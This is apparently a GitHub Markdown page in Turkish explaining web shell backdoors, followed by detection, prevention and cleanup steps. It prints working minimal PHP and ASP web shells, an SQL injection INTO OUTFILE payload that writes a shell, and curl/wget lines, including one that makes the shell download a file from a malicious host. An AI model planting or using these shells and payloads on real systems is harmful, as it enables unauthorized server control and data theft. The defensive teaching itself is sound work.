Skip to content

Latest commit

 

History

History
104 lines (86 loc) · 4.15 KB

16.md

File metadata and controls

104 lines (86 loc) · 4.15 KB

Backdoor Yükleme: Web Shell'ler (PHP/ASP)

Web shell'ler, sunucuda yetkisiz erişim sağlamak için kullanılan kötü amaçlı betiklerdir. Bir saldırgan, bu dosyaları sunucuya yükleyerek komut çalıştırma, dosya yönetimi veya veri çalma gibi işlemler yapabilir. İşte detaylı bir açıklama:


1. Web Shell Nedir?

  • Tanım: PHP, ASP, JSP gibi sunucu tarafı dilleriyle yazılmış, saldırganlara uzaktan kontrol imkanı sağlayan bir backdoor türüdür.
  • Örnek Kodlar:
    • PHP:
      <?php 
      if(isset($_GET['cmd'])) { 
          system($_GET['cmd']); 
      } 
      ?>
      Bu kod, ?cmd=ls parametresiyle GET isteği alındığında sunucuda komut çalıştırır (örneğin, ls ile dizin listeleme).
    • ASP:
      <%
      Set cmd = Server.CreateObject("WScript.Shell")
      Response.Write(cmd.Exec(Request.QueryString("cmd")).StdOut.ReadAll())
      %>
      ASP tabanlı bir web shell, ?cmd=dir ile Windows komutları çalıştırır.

2. Web Shell Nasıl Yüklenir?

Saldırganlar, web shell yüklemek için şu yöntemleri kullanır:

a) Dosya Yükleme Zaafiyetleri
  • Açıklama: Güvensiz dosya yükleme formları, .php veya .asp uzantılı dosyaları denetlemezse kullanılır.
  • Örnek Senaryo:
    • Bir web sitesi, kullanıcıların profil resmi yüklemesine izin veriyor ancak uzantı kontrolü yapmıyor.
    • Saldırgan, shell.php adlı bir dosya yükler ve bu dosyayı http://site.com/uploads/shell.php adresinden çalıştırır.
b) SQL Injection ile Dosya Yazma
  • Açıklama: SQL veritabanında INTO OUTFILE komutu kullanılarak sunucuya dosya yazılabilir.
  • Örnek Sorgu:
    UNION SELECT "<?php system($_GET['cmd']); ?>", NULL INTO OUTFILE "/var/www/html/shell.php"
c) Sunucu Erişim Bilgilerinin Ele Geçirilmesi
  • FTP, SSH veya panel şifreleri çalınırsa, saldırgan doğrudan web shell’i manuel olarak yükler.

3. Web Shell Kullanım Senaryoları

  • Komut Çalıştırma:
    curl http://site.com/shell.php?cmd=whoami  # Sunucuda kimlik bilgisini öğrenme
  • Dosya İndirme:
    wget http://site.com/shell.php?cmd=wget%20http://malicious.com/backdoor.exe
  • Veritabanına Erişim:
    curl http://site.com/shell.php?cmd=mysqldump%20-u%20root%20-p%20veritabani

4. Tespit ve Önleme Yöntemleri

a) Tespit
  • Dosya İzleme: /uploads/, /tmp/ gibi dizinlerde şüpheli dosyaları kontrol edin.
  • Log Analizi:
    • Apache: tail -f /var/log/apache2/access.log | grep "shell.php"
    • IIS: %SystemDrive%\inetpub\logs\LogFiles\W3SVC1\
  • Araçlar:
    • Lynis (Sunucu taraması),
    • Rkhunter (Rootkit tespiti).
b) Önleme
  1. Dosya Yükleme Güvenliği:
    • Uzantı denetimi (.jpg, .png gibi beyaz liste kullanın).
    • Dosyaları web kök dizini dışında saklayın.
  2. Kod İncelemesi:
    • system(), exec(), eval() gibi tehlikeli fonksiyonları kontrol edin.
  3. WAF (Web Uygulama Güvenlik Duvarı):
    • ModSecurity ile şüpheli istekleri engelleyin.
  4. Güncellemeler:
    • PHP/ASP sürümlerini ve eklentileri güncel tutun.

5. Karşılaşılabilecek Zorluklar ve Çözümler

  • Zorluk 1: Obfuscate edilmiş (karmaşıklaştırılmış) web shell’lerin tespiti.
    • Çözüm: Statik analiz araçları (örn. YARA kuralları) veya davranış tabanlı tespit.
  • Zorluk 2: Saldırganın sunucuda birden fazla backdoor bırakması.
    • Çözüm: Tüm dosya sistemini tarayın ve yedeklerden temiz bir kurulum yapın.

6. Pratik Örnek: Web Shell Temizleme Adımları

  1. Sunucuya erişimi kesin (Ağ bağlantısını kapatın).
  2. find /var/www/html -name "*.php" -mtime -1 ile son 24 saatte oluşturulan PHP dosyalarını bulun.
  3. Şüpheli dosyaları silin veya karantinaya alın.
  4. Veritabanı şifrelerini ve SSH anahtarlarını değiştirin.
  5. Günlükleri inceleyerek saldırı vektörünü belirleyin (örn: SQL Injection).